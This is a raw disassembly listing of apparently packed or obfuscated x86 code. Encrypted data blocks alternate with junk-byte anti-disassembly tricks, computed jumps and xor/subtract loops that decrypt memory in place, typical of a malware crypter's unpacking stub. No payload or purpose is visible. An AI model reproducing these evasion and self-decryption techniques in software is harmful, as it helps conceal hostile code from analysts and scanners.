9DD6CFA4h, 5241B44h, 0D6F2E330h dd 372F1D9Ah, 0B92A2124h, 462D05BBh, 2A4A8D8Dh, 6A07F0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0B56DABC3h, 0D8D89C3h, 6A07E932h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0FADFC355h dd 0E9C51A07h, 12h, 7F85C2AEh, 67CA456Eh, 62EC2544h, 4756C630h dd 85C73A8Fh, 7E922E5h, 5C78h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0D0C35747h, 5172DD1Dh, 60E3731Bh dd 13E8h, 0CE29CC00h, 0C98A6472h, 0AEEE08E1h, 0C1802C9Dh dd 4790AC6Ch, 0C498D89h, 15907E9h, 0E9181995h, 85C76107h dd 7E922B1h, 0 ; --------------------------------------------------------------------------- add edi, 3E44B7C1h mov esi, [ebp+7E907ADh] push dword ptr [ebp+7E90E1Dh] push 0 push eax call sub_5F67A1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F67A1 proc near ; CODE XREF: sdfs____:005F6799p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5F67A1 endp ; --------------------------------------------------------------------------- db 67h, 5, 0D1h dd 0E921A476h, 0Dh, 7E8AC303h, 7DADB2Ch, 0DBE0493Ah, 8595FFEEh dd 6A07E922h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 2806C350h, 0BE9C9h, 0C39E0000h dd 0F444D837h, 3722DA0Ch, 0FF006A41h, 0E90C3195h, 0EBC08B07h dd 339AE46Ah, 5E71F3DBh, 85AF645Dh, 1CBB6A9Ah, 13F0DC8h dd 0D128A7Fh, 0B7547B11h, 85CA5300h, 0D56DCBB7h, 0BA7BCFFFh dd 20FD2453h, 899A9A15h, 35850079h, 69B4A899h, 1D261BDEh dd 10414F43h, 886CBD13h, 3924CFC2h, 221B9A3Ch, 55A9126Eh dd 1CF8DAC2h, 4B007F57h, 21B10507h, 0DAF46A2Dh, 6DAAF4FAh dd 80A3AD7Eh, 8D6DECDEh, 0F02BB48Dh, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 30BE011Ch dd 0BFDF9942h, 6850F71h, 2B000000h, 0E91B85B5h, 0D8D8907h dd 6A07E932h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8B22C356h, 0E908F585h, 0E585C707h dd 0F807E922h, 6A000057h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 5F4C357h, 22B185C7h dd 7E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 823843C3h, 0EDA22B38h, 0F7E9DB81h dd 0B5FF16D0h, 7E92979h, 2E8DCE81h, 95FF2296h, 7E92285h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C5C35747h dd 0D6D9D0EDh, 0BF9962B7h, 0C5BD894Bh, 6A07E920h, 3195FF00h dd 8B07E90Ch, 0DF5DEBC0h, 0F942D090h, 0BEF92C04h, 89D3CE78h dd 24DE4860h, 85661A5Eh, 0A1D5071Bh, 25170AFBh, 2A390ADDh dd 63E52BE1h, 3686E823h, 117C2D4Bh, 0C7E00554h, 7F0F6997h dd 0FF0B7F88h, 14721E65h, 0E1FEFB75h, 0AA7107B7h, 0D2C775B8h dd 0C7A6979Eh, 0A4CDA58Dh, 135DC7F6h, 0A96B6618h, 0ECBCEA3Ch dd 13E9h, 0E5E78300h, 24h, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_5F6E69 ; --------------------------------------------------------------------------- db 79h, 0D2h, 0A2h dd 0EF8DA113h, 3A44EA46h, 8B0919BBh, 0D1AB4EEAh, 0F6BCC5Ch dd 0B1E392EAh, 0E751DC60h, 2B852850h, 99FE7701h, 9914940Dh dd 0CEFC286Ch, 0D6A04A98h, 0FBAF420Eh, 1C912751h, 4D89AB0h dd 3E38D27Ah, 2C04869Eh, 0CC106288h, 56096C80h, 2B815BFEh dd 5626CB93h, 9E66F48Eh, 0AAFB6333h, 0FBA2CE2Ah, 0DC5123C9h dd 109DDF70h, 585FC96h, 0F305C06h, 59EF89A3h, 7CA0FBCCh dd 0BA76DA64h, 0BF87F91Eh, 0A2820213h, 7C95314Dh, 79A824F8h dd 0B992BFBh, 0EE1AC32Fh, 12BE3749h, 51EC7EF8h, 3A2C4269h dd 181F0ADh, 13305C88h, 0FB370391h, 5C88AF0Ah, 0D0A84F30h dd 0FAAE400Ch, 0C9DB2B55h, 1A3EEB3Bh, 12E68773h, 1D56AE6Bh dd 35908431h, 32000000h, 0ED6A04Ah, 5CC51597h, 5FFE1230h dd 30E04282h, 0CD6FF784h, 12A47B3h, 0B8000000h, 8D4A64Ah dd 72D2A84Ch, 70CC4E46h, 0DE0AB345h, 3AD403Ah, 5CE68FE9h dd 9D5A74Ah, 73D3A94Dh, 74C8B047h, 7FC7B558h, 0E31FBE52h dd 17D17884h, 59FB7A02h, 517DC1B3h, 4961BDBFh, 38D224C5h dd 5CC54949h, 11D9CB30h, 30DA42B2h, 77BC84h, 4A060000h dd 9B43D5A7h, 581C3171h, 9468FE84h, 0C28E220Eh, 0C7F2522Ch dd 0B5588C2Dh, 6F822EC7h, 8D85310Dh, 720E6D08h, 0B94FAB4Bh dd 0B5C76965h, 0B7356D69h, 7514386Fh, 8831DD85h, 3119694Bh dd 548584h, 4ADD0000h, 4D09D5A7h, 4672D2AAh, 5B77CFB1h dd 537FC7B1h, 6260BCBCh, 97620B35h, 80027E0Bh, 89FC92EAh dd 0B410E687h, 7A08D4A6h, 0F23E38D2h, 0A44933C6h, 0D4A64A1Eh dd 0B9F9A842h, 5B305CC4h, 0D44DE149h, 305CC4F9h, 7C9D3CD0h dd 8430E084h, 1E2h, 0A44AC000h, 10B540DAh, 7A0014E3h, 0D98D18AAh dd 0C31FDB64h, 621F65F7h, 305C8722h, 2468EA3Ah, 0B814E87Eh dd 0BC18E496h, 0ED02E298h, 4FB042EBh, 0D264A049h, 0C75205A8h dd 50CBC650h, 0E637B56Fh, 0C65460BCh, 7D9F39B4h, 40422303h dd 0D5287370h, 4CEE1AC3h, 8A238332h, 8B374922h, 0E39DB3F7h dd 1B31E54Dh, 62FB8559h, 9C196314h, 0EAA8692h, 9B1B96ECh dd 7528735Ch, 0A4E49D2Fh, 6C28735Ch, 8F5CA036h, 0E2CD881h dd 8040C16Ch, 0FE8C1A48h, 0F2h, 33A0B3C4h, 5CC53E7Eh, 8CCD630h dd 384A9A18h, 226110AAh, 0F037B59Ah, 0D46652B2h, 83A90BAAh dd 0FA4A32C7h, 4B9742EFh, 6AF88F6Eh, 9E2C4EE2h, 96E00A46h dd 0C7B55804h, 518D657Fh, 11D37A9Ah, 4FF479FBh, 8C1A3D75h dd 3BF1h, 0C369F500h, 9B576DB1h, 2DBAB329h, 0B745019Bh dd 3E7E33C5h, 0D6305CC5h, 456564CCh, 0CFB05CC5h, 189809D5h dd 0FFB05CC5h, 0F00528D1h, 10B0E17Bh, 305CC5h, 6BBA13A2h dd 0C4000000h, 0A537A0B3h, 0B593F1ECh, 3E3C137h, 5ADBA5B7h dd 0C2225CFEh, 73928623h, 0FE9FB128h, 0C45620CAh, 8498B129h dd 0D47A9642h, 0BA485AAAh, 3D38737Eh, 286110AAh, 0A306351h dd 0E2084498h, 355B4C90h, 0CC86294h, 31B393E9h, 83514040h dd 66D2D020h, 463BA84Bh, 20835146h, 0B589F306h, 0AF3D672Fh dd 252B641Dh, 9D072873h, 0A0B3B210h, 0B3ECA537h, 7F384C98h dd 0A77FF913h, 1BB78F1Dh, 0D561B1F1h, 0DDE73FBDh, 9834B94Fh dd 453C0072h, 4B76C21Ch, 2F495BFh, 0C3793968h, 0D9B0556h dd 56C31494h, 10A6FC05h, 1C5EFCD8h, 6B152791h, 65E73F9Bh dd 0C7666699h, 0FB8DEF0Dh, 0C7BABE53h, 556C2C7h, 6DC55B49h dd 54263460h, 3D788h, 546F0000h, 0D7A14AF6h, 0CFA9430Fh dd 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h dd 0B3CD636Fh, 0A9D36753h ; --------------------------------------------------------------------------- push ebp pop esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 5C84h mov [esp], esi push 108h mov [esp], edi push edx mov edx, 238B6FADh xor edx, 48E00BC0h sub edx, 637B383Ah push ebx mov ebx, edx mov esi, ebx pop ebx pop edx push esp mov edi, [esp] add esp, 4 push esi xor dword ptr [esp], 2A6C722Dh pop dword ptr [edi+8] push eax mov eax, 8 add eax, edi xor dword ptr [eax], 2A6C722Dh pop eax mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- db 65h dd 7BA878Ch ; --------------------------------------------------------------------------- pop edx loc_5F6E69: ; CODE XREF: sdfs____:005F69E8j mov eax, 7F0301Ch add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 37A7h dd 975936E3h, 0D57166FDh, 28C44004h, 0ACA9014Dh, 73E74EDAh dd 64EA12E2h, 8235188Dh, 0B0080A69h, 0B3E25677h, 9C03161Bh dd 6F0D0051h, 18586A6Ah, 6A2B460Dh, 5882408Bh, 6797885h dd 8F8B3315h, 0CF663B0h, 277C2986h, 3D10630Eh, 0ADC42469h dd 1B1E6FADh, 0D00344B4h, 8BE9091Dh, 491D413Ah, 4C3C6F7Bh dd 0F39E1662h, 8AD94DA5h, 25E9219Bh, 38000000h, 67BB37h dd 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5F74A9 ; --------------------------------------------------------------------------- db 1Dh, 0FEh, 7Eh dd 0CBB145F7h, 16688E2Ah, 67E53D9Fh, 0ADCF62CEh, 238FA800h dd 55C76E0Eh, 9B35B83Ch, 0CF690474h, 0BDA2532Dh, 93F0B0E1h dd 0EA20286Ch, 0D6A04AB4h, 0CDAF420Eh, 1466F420h, 3A6E8CC8h dd 0E9468EAh, 0E586F07Fh, 1FAD4DFFh, 722FB9C7h, 305CB132h dd 4C68C0E2h, 2FADE4A8h, 0E7094599h, 0E80D4995h, 5025C88Ch dd 0CF4C234Bh, 65B94F48h, 23DF7EA6h, 3DF796BAh, 64D05D1Fh dd 9A04A9D3h, 32119100h, 24CB305Ch, 8E6A3854h, 0AB7C052Ah dd 0C5B6AC0Fh, 7C95F580h, 216B11A0h, 0E07B393h, 2F62FC8Eh dd 305C546Fh, 0FB3703A1h, 0E963FA84h, 15FCAC40h, 0EF8EF23Eh dd 0D06A1225h, 5A74CF45h, 0C028DA7Ah, 0BFB953FDh, 9E1E932Dh dd 8C305CB0h, 5CB09515h, 69257F30h, 25A3FF3Bh, 0B096168Bh dd 247E305Ch, 0B1A23DCCh, 9779305Ch, 0F3DB25F6h, 871B8430h dd 0AF000000h, 0F3B3EE78h, 1D305CC4h, 4A32C787h, 9400E8FAh dd 6D65F086h, 767D386Ah, 80F4B4E5h, 861C305Ch, 33752CF0h dd 30305C81h, 249C3DDCh, 9843124h, 8D82027Fh, 1092305Ch dd 4D8A2B4h, 17FB27Eh, 4B000000h, 8D4A64Ah, 72D2A84Ch dd 70CC4E46h, 75C9B344h, 79C5B759h, 28CB7292h, 2DBF1E76h dd 24A137E0h, 0C18D6910h, 0F1F353D1h, 3799D39h, 4A34C672h dd 740614B0h, 0D3DE1AA8h, 96CBA53h, 0A9FBABF1h, 0A74A4341h dd 0A94D09D5h, 54B873D3h, 9EDE73B5h, 0E597A517h, 0E19BBD19h dd 0D99BB11Dh, 0D1A34905h, 0C9AB410Dh, 4AEE6F75h, 0AC3061A3h dd 4BC5250h, 308051F8h, 4E8430DAh, 88h, 0F8829430h, 0A74A9230h dd 8B9B43D5h, 0C18D2109h, 0C4F14D2Fh, 1193824Ah, 0D014B5D9h dd 46463B3Dh, 0CE305CC5h, 0DAF46D4h, 0EA94BAE8h, 0D4CC8854h dd 0D3C28E56h, 2DC18D51h, 0BF16B648h, 49A7D88h, 0A24B4D38h dd 0B61EE850h, 3644E8A0h, 0EA465CA0h, 0B71FE786h, 0B013DFA1h dd 8431BE40h, 3EBEh, 0A74A0400h, 0AA4D09D5h, 0F718ACE4h dd 952BB985h, 69E03C49h, 54784675h, 31EC30C6h, 0A74A7E1Fh dd 6CE58D5h, 60A28EF0h, 8D4A64Ah, 5CC53E99h, 52FB1D30h dd 30E03F81h, 1BF84h, 4A0B0000h, 4E0ADAA4h, 0AE72D5ACh dd 0A59BAB07h, 0B6EB8517h, 305C76F6h, 70AC841Eh, 9450F91Fh dd 2275F882h, 9B16A037h, 37B55FA0h, 0D27A0C96h, 0BBF7433Dh dd 0EC70A12Dh, 72A69210h, 0C084A8D8h, 64B84E2Ch, 25A7FE5Eh dd 0A335CBD9h, 7563143Bh, 5D704095h, 12906C02h, 0CE44DF7Bh dd 29012271h, 90E208A4h, 8D3D54Ch, 2C202873h, 0C7B15B8Dh dd 0F183A935h, 565B972Dh, 1B8D3DC8h, 8C757B88h, 0A12B1022h dd 15DD739Fh, 15E98BA1h, 1DE193B9h, 0EFA23C4Eh, 287374AFh dd 0F8A94361h, 287374B8h, 82EE4A58h, 710329DBh, 0AAFA62FCh dd 1C3C028h, 7D8C1A30h, 14Fh, 66EE7845h, 0BDFDAC2Eh, 57305CC4h dd 597FD44Ah, 3AC814DAh, 913023FEh, 512BCF7Bh, 0D361F78Dh dd 9C15AF39h, 305BD71Ch, 0C2EAEF4h, 0D8109272h, 0B4AC6A29h dd 2AFAA837h, 43F28CAEh, 0E80F3BD1h, 0A4220290h, 9F671538h dd 875F1933h, 48EF6FFDh, 1AD6EC30h, 2E29CBEh, 50A64749h dd 87D492C5h, 58904F9Eh, 0A9CDE7Ch, 18D05242h, 74D42C95h dd 0CF598C1Bh, 723BD2D2h, 88604228h, 4855h, 0BAB36D00h dd 0C6E69B2Dh, 4EB05CC4h, 0F41AC254h, 0C028BA8Ah, 0C4B5F5ACh dd 3458B05Ch, 1695AA95h, 659AE984h, 50B5F5ACh, 455FB05Ch dd 3D2BD5B0h, 1EBEF3F5h, 0F6305BD6h, 908C01ACh, 0F2000000h dd 0B939EC5Bh, 2F0BBB19h, 37A0B39Dh, 76BA08A5h, 0D6ED56C3h dd 0DFE53943h, 8A07E149h, 37B4E54Fh, 0D5E13D67h, 0AA33547h dd 0DF7C5E6Fh, 6E73BFA8h, 0F64E28C2h, 7341B20Fh, 0CA736528h dd 0F382FC1Eh, 5A3EDA73h, 0E03C3ED2h, 7D564BE2h, 0DA5508E0h dd 1FC6BB4Dh, 7730632Fh, 8029B2Dh, 18790DA5h, 5763BF7Bh dd 0C688DC5h, 0C01CB230h, 3D00A9AFh, 2C7BA232h, 0ACA9A2B8h dd 0EE158C1Eh, 0A4287313h, 4CE06CFEh, 8CCD62Eh, 344E96E4h dd 7851F1FCh, 0C4F3B3EEh, 871D305Ch, 0EC7BF6ABh, 7B36C05Ah dd 305CC53Bh, 0DADACFD5h, 3A305CC4h, 6B268068h, 384C9484h dd 0B3C96CE8h, 0A975072Bh, 7133DF1Bh, 5F0B21ADh, 6163C3BDh dd 64F622D3h, 21BCCA1Ah, 0B3E3915Fh, 0EFB8A431h, 1FFF8E6Ah dd 0B8882304h, 1933F594h, 8C48D65Fh, 0F0240C6Eh, 88C4185Ah dd 0D5CA1A98h, 3CDE0AB3h, 0EB01B342h, 394148Dh, 227CC821h dd 21042F6Fh, 2DC3E1C8h, 0AE410D9Fh, 846C76CEh, 37768h dd 548F0000h, 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h dd 0BEBE537Fh, 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h dd 0EC835E55h, 242C8904h, 0C581E589h, 4, 8704ED83h, 685C242Ch dd 2664h, 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h dd 34895C24h, 0A0B85024h, 56623260h, 0E95159BEh, 0F6814673h dd 0D832127h, 2D5EF021h, 5A322EC9h, 8158C189h, 4ECh, 24248900h dd 4240481h, 5E000000h, 1A468h, 240C8900h, 0FF08468Fh dd 815E2434h, 4C4h, 2434FF00h, 4C48159h, 0E9000000h, 0FFF944DAh dd 0A5EB1428h ; --------------------------------------------------------------------------- wait loc_5F74A9: ; CODE XREF: sdfs____:005F6F0Cj mov eax, 7F03664h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 13A4h dd 0C0651FE3h, 5D1559A4h, 95CD5073h, 94141637h, 8B7E70B1h dd 85764B42h, 0C01B42B0h, 0B41E4231h, 11E831A7h, 0FF000000h dd 22E99E4Ch, 636F7A64h, 44876ADh, 59225C4Dh, 605EFE8Bh dd 81614FB7h, 6A46C6h, 0DE900h, 75990000h, 5A7F51EEh, 0E3E1F264h dd 33EECEEDh, 57BB66C0h, 3034FFF5h, 9E9F960h, 0C7000000h dd 94E8F9Bh, 0E32D105Bh, 0EA815A61h, 394C359Eh, 1043C281h dd 0D3817703h, 27AB3E28h, 0E4C6EA81h, 0F570BF5h, 8959FFBFh dd 0BFF50614h, 1FA834EAh, 6003E883h, 48612DB6h, 9845C181h dd 0F8814114h, 0FFFF9658h, 0FFAB850Fh, 850FFFFFh, 11h dd 0CE9h, 0E5B71F00h, 0EB294377h, 9D2798D8h, 0AB8D8D2Bh dd 8107F038h, 934ECCF2h, 0F5B58B15h, 8907E919h, 0E9320D8Dh dd 0FC68B07h, 188Fh, 13E900h, 37650000h, 0FB46AC5Ah, 0F072E251h dd 0C9EB4883h, 0EFCFB3A0h, 0E585C71Fh, 5807E922h, 6A000070h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 4161C355h, 0B44BB4B2h, 89858B59h, 0C707E91Bh dd 0E922B185h, 7, 0C7B70F00h, 1F55B5FFh, 6A07E9h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 11E88EC3h, 0F5000000h, 159A5EA4h, 866F578Ch, 0EC93DB13h dd 0C6106ED0h, 0E8BF6652h, 0FF585BF2h, 0E9228595h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0A5E59D91h, 308D8533h, 6A07E9h, 0C3195FFh, 0C08B07E9h dd 94E71FEBh, 0BFC8EEFAh, 96E06E60h, 0BF48190h, 0F7221AD2h dd 0BB066577h, 7E8F4B88h, 98C03C5Fh, 2DE9BFh, 18630000h dd 6216h, 9 dup(0) dd 0E9000000h, 500h, 20CDAF4Ch, 9B1A60F4h, 0C8651739h dd 3FB6346Ch, 71FC789Dh, 0BF523EFBh, 8D8430BDh, 25CA660Fh dd 0DC7EDA5Bh, 306A13A2h, 6C8C4141h, 0CBB9D328h, 4339DC78h dd 0AD09E1E3h, 0A511ED8Fh, 0EF49E490h, 880C054Dh, 8B0918B4h dd 59B29BBh, 0CB7F9D39h, 0B7C96FDBh, 7B39321h, 0BEF38DF3h dd 305CC4FEh, 9D1D8C16h, 77305CC4h, 0F478A92Dh, 38049A28h dd 16D27B9Dh, 59FB7A04h, 8D2FC6B6h, 8632126Ah, 6AEA3B8Fh dd 0AA7A089Ah, 7EAA5375h, 7815A7D9h, 88F609E1h, 535E9A84h dd 0D5294BE1h, 5C70912Ch, 5A44830h, 3134ECD4h, 77854184h dd 0CC504105h, 87C964h, 11BD0000h, 12B078FCh, 4339DC78h dd 0AD09E1E3h, 9711ED8Fh, 0B233A5FEh, 0A40D0C08h, 8C17B135h dd 0C2836FFDh, 305C5EC0h, 4CAA53A5h, 5EBFFFB2h, 7499305Ch dd 0B6168C00h, 0B310D8A2h, 84314651h, 55554CE6h, 0BF305C6Bh dd 5D4B50E5h, 0FE8C7C4Ch, 1FF32h, 4ACB0000h, 0B055D3A6h dd 49E9C940h, 0CB6F6BBBh, 8B536DB1h, 0E5D1199Bh, 9D2FADh dd 8E44CE33h, 0F18BAE35h, 2901972Dh, 9534D8F5h, 30BDBF53h dd 69047684h, 0D5A74AD9h, 0D3A94D09h, 0B554B873h, 179EDE73h dd 3FD397A5h, 694E40Bh, 0E20AC70h, 1438906Ch, 0DA4CA475h dd 7AAA8430h, 38000000h, 0D92ED78h, 9DC193A7h, 2D16960Bh dd 0A4FE305Ch, 0B3C5684Ch, 5C2CBEFEh, 0BE4C5630h, 0F371A02Ch dd 49EFEB07h, 4EE2EF37h, 0AEBE57AFh, 5779A0Ch, 8312AB39h dd 7F5B974Ch, 0A113A2DAh, 8A14E88Ch, 9F0181F0h, 9113305Ch dd 0A7257D59h, 3AE36F5Fh, 31001799h, 365784h, 4A730000h dd 4D09D5A7h, 9772D2AAh, 0C2BA5F07h, 64886062h, 809531C5h dd 5E9A28F4h, 8A5D77Ah, 0D4A64ABAh, 0C53E9908h, 0FB1D305Ch dd 0E03F8152h, 1BF8430h, 0B000000h, 0F3B3EE78h, 1D305CC4h dd 0E90FAB87h, 95314F97h, 9A28F480h, 0A6D07A5Eh, 87077A14h dd 89305CC5h, 6C83DF1Bh, 9B35C168h, 5CC4A6E6h, 41306E30h dd 305CC541h, 0F743D1D3h, 0A2532DC3h, 82FF6C8Fh, 305CC502h dd 68029012h, 0B5ADFE39h, 49583437h, 9127A5FDh, 5DA1374Dh dd 7719B43h, 9E13A53Fh, 2873AF1Eh, 5044ACF6h, 9B35B8BAh dd 463F0771h, 2873AF44h, 0F319C5D1h, 4FDD5FB7h, 18DE7FE3h dd 0AE93138Eh, 277D2873h, 334DEFCBh, 7A041682h, 750C2EAAh dd 287AEBAFh, 82923A07h, 10A63C00h, 68117FCCh, 51DC9EBCh dd 91E309D5h, 0C8FB374Dh, 8C1ABAF8h, 13576h, 0A0B34C00h dd 97B3BE30h, 9971CE9Ch, 0BCE27BDCh, 40D67657h, 4EDCE63Eh dd 8C6C5BCh, 564C37B5h, 4E28C28Eh, 138D21BCh, 3E361B1h dd 0F447F481h, 0BA169B57h, 801EE690h, 0E14933C4h, 0C3552735h dd 17387829h, 0CAD82873h, 6D79326Eh, 0D4284CE1h, 5FFE62CEh dd 78F58795h, 1A8DF9CBh, 27758Ch, 0B34D0000h, 0E69B2DBAh dd 0B05CC4C6h, 1988544Eh, 0B05CC499h, 86A9507Ch, 3160FA71h dd 305CC591h, 3B8C2183h, 0AEh, 3EDC784Bh, 3E39F43Ch, 67621FA9h dd 4F37B594h, 2FCD8955h, 313BB4Dh, 0CB27BD81h, 5BFC58C6h dd 942C6C25h, 0BEE42873h, 3CCED428h, 73944545h, 1DD5CF28h dd 0ACE593B9h, 287393ECh, 5EE87E24h, 0C01C9EF6h, 0AC3A76C2h dd 941F9F12h, 0B3F12873h, 93298647h, 0F81C2873h, 0FB859751h dd 0A734277Ah, 7392AAEAh, 0EC0E6A28h, 0B558FC92h, 0DA731C7h dd 73931494h, 4AA6FC28h, 5A35255Ch, 257F3063h, 195FFDD9h dd 835B2868h, 24BAE820h, 0F8A1A7D8h, 6D2D64FEh, 0A720835Bh dd 3F71EFAh, 0EA78337Eh, 57C0530Eh, 9E9CCCC5h, 8E142872h dd 0A0B3A3E7h, 7CECA537h, 34384C8Bh, 3E096B69h, 694E686h dd 0FE78923Eh, 0DFDFD26Ch, 31286C0Ch, 9E3A8773h, 4322027Ch dd 8DC5E797h, 4B7D1C30h, 0A845D7A1h, 0CA878CBEh, 0D1D1C0F0h dd 43C2861Ah, 9A67D361h, 82621C3Eh, 805CDE36h, 4C0696Fh dd 4FE984F6h, 2557E5ADh, 0A335CBD9h, 1B189809h, 0AEF8C286h dd 861AB3F3h, 0B1475DC2h, 0AB22579h, 0CC000000h, 1A0AD254h dd 0F23E4498h, 0D7A14AD0h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h dd 0BEBE537Fh, 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h dd 89525E55h, 4C281E2h, 53000000h, 4BBh, 5BDA2900h, 5C241487h dd 670568h, 240C8900h, 59C68h, 24148900h, 6BF5756h, 8907F039h dd 0F1895FFEh, 148B545Eh, 4C48324h, 4EC81h, 34890000h dd 89CE8924h, 8B5E0872h, 89562414h, 4C681E6h, 83000000h dd 348704C6h, 0C8B5C24h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 3DC4E95Ch, 52BBFFF9h, 0CD20453Ch, 0F03D8CB8h dd 0FFC50307h, 60E05BE0h, 34ADC711h, 3C06285Eh, 6C1706Ah dd 2D1E974Ah, 8F06983Ch, 0E20D0C04h, 0ACE33E08h, 0CF5C672h dd 98F4406h, 0F14FCA27h, 0DD97C014h, 6E5F261Fh, 108F6475h dd 701BFE48h, 56671435h, 4A24D177h, 13E847h, 0A9F60000h dd 0D2711F11h, 0F6B40F18h, 0A860A957h, 4E382E5h, 0CE8B667Eh dd 2820F5Eh, 8B000000h, 50C681D3h, 6600005Ch, 0BF32F3B9h dd 16E5h, 8BCF8B66h, 34D6801Eh, 0B826F381h, 8E81FFBh, 0A7000000h dd 55B4849Fh, 0B0626CAFh, 0EB815977h, 23D7FA11h, 0C2816660h dd 840FCC09h, 0 ; --------------------------------------------------------------------------- popa xor ebx, 64DD12DEh push ecx mov cx, di pop edx push ebx jmp loc_5F7C8B ; --------------------------------------------------------------------------- dw 8556h ; --------------------------------------------------------------------------- mov esi, [edx+6EEF3886h] cmc loc_5F7C8B: ; CODE XREF: sdfs____:005F7C7Dj pop dword ptr [esi] and ax, 3241h sub esi, 4 pusha and ebx, 5433C7D3h popa sub edi, 1 jnz loc_5F7CB7 movsx eax, dx jmp loc_5F7CD2 ; --------------------------------------------------------------------------- dw 0CE7Dh dd 89B4887Eh ; --------------------------------------------------------------------------- xor ebx, 19h loc_5F7CB7: ; CODE XREF: sdfs____:005F7CA0j call near ptr loc_5F7CBD+4 lodsd loc_5F7CBD: ; CODE XREF: sdfs____:loc_5F7CB7p add eax, 0F5A92F2Fh pop eax jmp near ptr dword_5F76B8+58Bh ; --------------------------------------------------------------------------- dd 768AAB1Ah, 0BBE5F38Fh db 61h, 78h ; --------------------------------------------------------------------------- loc_5F7CD2: ; CODE XREF: sdfs____:005F7CA9j call near ptr sub_5F7CE6 leave inc ecx dec edx ; --------------------------------------------------------------------------- dw 0EA8Dh dd 0A05597A3h, 3E91644Fh db 71h, 0A3h ; =============== S U B R O U T I N E ======================================= sub_5F7CE6 proc far ; CODE XREF: sdfs____:loc_5F7CD2p pop edx pusha mov edx, ecx jmp loc_5F7CF6 ; --------------------------------------------------------------------------- db 4Ch ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 9Dh, 6Fh, 8Ch db 91h, 36h ; --------------------------------------------------------------------------- loc_5F7CF6: ; CODE XREF: sub_5F7CE6+4j popa add edx, 7266h sub eax, eax mov edi, 65E0C8A0h loc_5F7D04: ; CODE XREF: sdfs____:005F7DA9j push dword ptr [eax+edx] sbb cl, 0E3h pop ebx jnz loc_5F7D14 mov si, cx loc_5F7D14: ; CODE XREF: sub_5F7CE6+25j sub ebx, 1883F9C4h sub ebx, 22BB7F7Ah jmp loc_5F7D2D ; --------------------------------------------------------------------------- aaa push 0F74023FBh test [edx], edx loc_5F7D2D: ; CODE XREF: sub_5F7CE6+3Aj sub ebx, 21B5A8CFh cmc push ebx mov ecx, esi pop dword ptr [edx+eax] pusha jnz loc_5F7D44 movsx ebx, dx loc_5F7D44: ; CODE XREF: sub_5F7CE6+55j pusha jmp loc_5F7D57 ; --------------------------------------------------------------------------- dw 46Dh dd 325956D0h, 0A20EFF0Eh db 0F2h, 7Fh, 75h ; --------------------------------------------------------------------------- loc_5F7D57: ; CODE XREF: sub_5F7CE6+5Fj jmp loc_5F7D62 ; --------------------------------------------------------------------------- dd 0DE640684h db 0E8h, 0BBh ; --------------------------------------------------------------------------- loc_5F7D62: ; CODE XREF: sub_5F7CE6:loc_5F7D57j popa popa call loc_5F7D78 mov dh, 0B6h retf 200Ah sub_5F7CE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0B7D8h dd 0EBF4A124h, 0CBBCD7C5h ; --------------------------------------------------------------------------- loc_5F7D78: ; CODE XREF: sub_5F7CE6+7Ep adc esi, 2E1579A8h pop edi sub eax, 1 or ecx, 67D9DAE8h dec eax dec eax dec eax jns loc_5F7DA3 jmp loc_5F7DA3 ; --------------------------------------------------------------------------- dw 0F08Dh dd 7AFDE634h, 656C48EEh db 0ADh, 98h, 0E2h ; --------------------------------------------------------------------------- loc_5F7DA3: ; CODE XREF: sdfs____:005F7D8Bj ; sdfs____:005F7D91j cmp eax, 0FFFF8E70h jnz loc_5F7D04 mov cl, 0ACh call sub_5F7DCA shr dword ptr [eax-79h], cl mov byte ptr [ebx], 11h adc [edi], edx repne inc edx push ebx ; --------------------------------------------------------------------------- db 8Ch, 0B5h, 6Ch dd 0A8E42640h db 0D9h, 7Eh ; =============== S U B R O U T I N E ======================================= sub_5F7DCA proc near ; CODE XREF: sdfs____:005F7DB1p push eax adc edi, 0E116F60h pop edi pop eax sbb si, 2064h add eax, 701Ch stc mov edx, 1BE6h mov cx, 7EE9h loc_5F7DE8: ; CODE XREF: sub_5F7DCA+5Cj push dword ptr [eax] mov si, 133Eh pop ebx jno loc_5F7DF8 mov cx, ax loc_5F7DF8: ; CODE XREF: sub_5F7DCA+25j xor ebx, 7086F044h xor ebx, 39FBD257h mov di, 286Ah sub ebx, 6CC309D7h clc mov [eax], ebx sbb ecx, 170A145Ah 